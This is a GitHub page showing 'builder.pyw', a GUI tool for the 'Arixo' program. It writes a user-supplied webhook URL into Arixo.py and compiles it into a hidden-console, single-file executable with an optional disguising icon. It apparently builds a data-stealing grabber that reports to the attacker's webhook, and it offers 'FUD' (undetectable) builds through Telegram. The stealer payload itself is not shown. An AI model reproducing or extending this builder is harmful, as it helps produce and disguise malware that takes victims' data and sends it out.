-
Notifications
You must be signed in to change notification settings - Fork 0
/
builder.pyw
83 lines (64 loc) · 2.78 KB
/
builder.pyw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import os
import shutil
import customtkinter as ctk
from tkinter import messagebox, filedialog
ctk.set_appearance_mode("dark")
app = ctk.CTk()
app.title(f"Arixo Builder ~ Version 1.00")
app.iconbitmap("Arixo_assets\\img\\logo.ico")
app.geometry("400x240")
app.resizable(False, False)
app.update_idletasks()
screen_width = app.winfo_screenwidth()
screen_height = app.winfo_screenheight()
x = (screen_width - app.winfo_reqwidth()) // 2
y = (screen_height - app.winfo_reqheight()) // 2
app.geometry(f"+{x}+{y}")
def validate_webhook(webhook):
return 'api/webhooks' in webhook
def replace_webhook(webhook):
file_path = 'Arixo.py'
with open(file_path, 'r', encoding='utf-8') as file:
lines = file.readlines()
for i, line in enumerate(lines):
if line.strip().startswith('h00k ='):
lines[i] = f'h00k = "{webhook}"\n'
break
with open(file_path, 'w', encoding='utf-8') as file:
file.writelines(lines)
def select_icon():
icon_path = filedialog.askopenfilename(filetypes=[("Icon files", "*.ico")])
return icon_path
def add_icon():
response = messagebox.askquestion("Add Icon", "Do you want to add an icon?")
return response == 'yes'
def build_exe():
webhook = entry.get()
if validate_webhook(webhook):
replace_webhook(webhook)
icon_choice = add_icon()
if icon_choice:
icon_path = select_icon()
if not icon_path:
messagebox.showerror("Error", "No icon file selected.")
return
else:
icon_option = f' --icon="{icon_path}"'
else:
icon_option = ''
message = "Build process started. This may take a while...\nBuilded file won't be undetected (FUD)\nYou can get FUD from Telegram channel - t.me/ArianPashae"
messagebox.showinfo("Information", message)
# Customizing PyInstaller build command
dist_path = os.path.join(os.getcwd(), "dist")
build_command = f'pyinstaller Arixo.py --noconsole --onefile{icon_option}'
os.system(build_command)
messagebox.showinfo("Build Success", "Build process completed successfully.\nDon't forget to star the repo and join Telegram channel to support and receive lastest updates!")
else:
messagebox.showerror("Error", "Invalid webhook URL!")
label = ctk.CTkLabel(master=app, text="Arixo", text_color=("white"), font=("Helvetica", 26))
label.place(relx=0.5, rely=0.2, anchor=ctk.CENTER)
entry = ctk.CTkEntry(master=app, width=230, height=30, placeholder_text="Enter your webhook")
entry.place(relx=0.5, rely=0.4, anchor=ctk.CENTER)
button = ctk.CTkButton(master=app, text="Build EXE", text_color="white", hover_color="#363636", fg_color="black", command=build_exe)
button.place(relx=0.5, rely=0.6, anchor=ctk.CENTER)
app.mainloop()